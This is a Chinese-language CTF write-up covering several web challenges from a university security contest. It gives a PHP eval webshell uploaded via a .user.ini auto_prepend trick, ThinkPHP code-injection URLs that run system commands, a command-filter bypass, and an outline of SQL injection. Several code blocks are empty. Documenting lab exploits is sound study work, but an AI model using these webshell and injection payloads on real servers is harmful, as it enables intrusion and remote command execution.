武功山杯·第一届湘赣边大学生网络安全竞赛
武功山杯·第一届湘赣边大学生网络安全竞赛部分赛题复现
也是第一次比较正式的参加CTF高校赛,以此记录一下
web4 龙池古庙
此题是一道.user.ini的上传利用题
上传一个.png格式图片并抓包,发包到repeat,图片内容为
<?php @eval($_POST['a']); ?> <?php phpinfo(); ?>
文件名改为.user.ini
内容写入auto_prepend_file=.user.ini
发包,上传成功
得到路径/app/upload/2cd71252e0ea7e65ccb16853a4cdc40f/.user.ini
访问/upload/2cd71252e0ea7e65ccb16853a4cdc40f/index.php
执行命令
蚁剑连接拿flag
web6 真君擒龙
1 |
|
1 |
|
此处我们用od代替nl读取文件
1 |
|
读取出一堆数字
对于od读取的内容可以使用python复原
1 |
|
把中间不需要的代码去除即可
非预期:
赛后发现 nl /*
也是可以的
我们试着对strpos()函数进行分析
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
也就是说!strpos(strtolower($cmd), 'nl')
的值就是1,也就是这个过滤其实没有用?
有点腻甜了
web7 萍水相逢
打开就一张图片,查看源代码发现www. zip
访问/www. zip下载文件
解压查看发现是thinkphp
查看文件发现只实现了控制器
1 |
|
分析一下可利用的源代码
1 |
|
poc:/public/?code=((%27input%27)(%27name%27)((%27input%27)(%27name1%27)));&na``me=system&name1=ls /
getflag/public/?code=('input'('sys'))('input'('cmd'));&sys=system&cmd=/readflag
web8 禅蕴杨岐
打开赛题啥也没有,查看源代码也是
直接扫目录
扫到一个/.index.php.swp
目录
访问
1 |
|
通过转义符来对 username 字段后面的引号做转义,逃逸出后面的部分,然后通过双写绕过
关键字检测。
脚本
1 |
|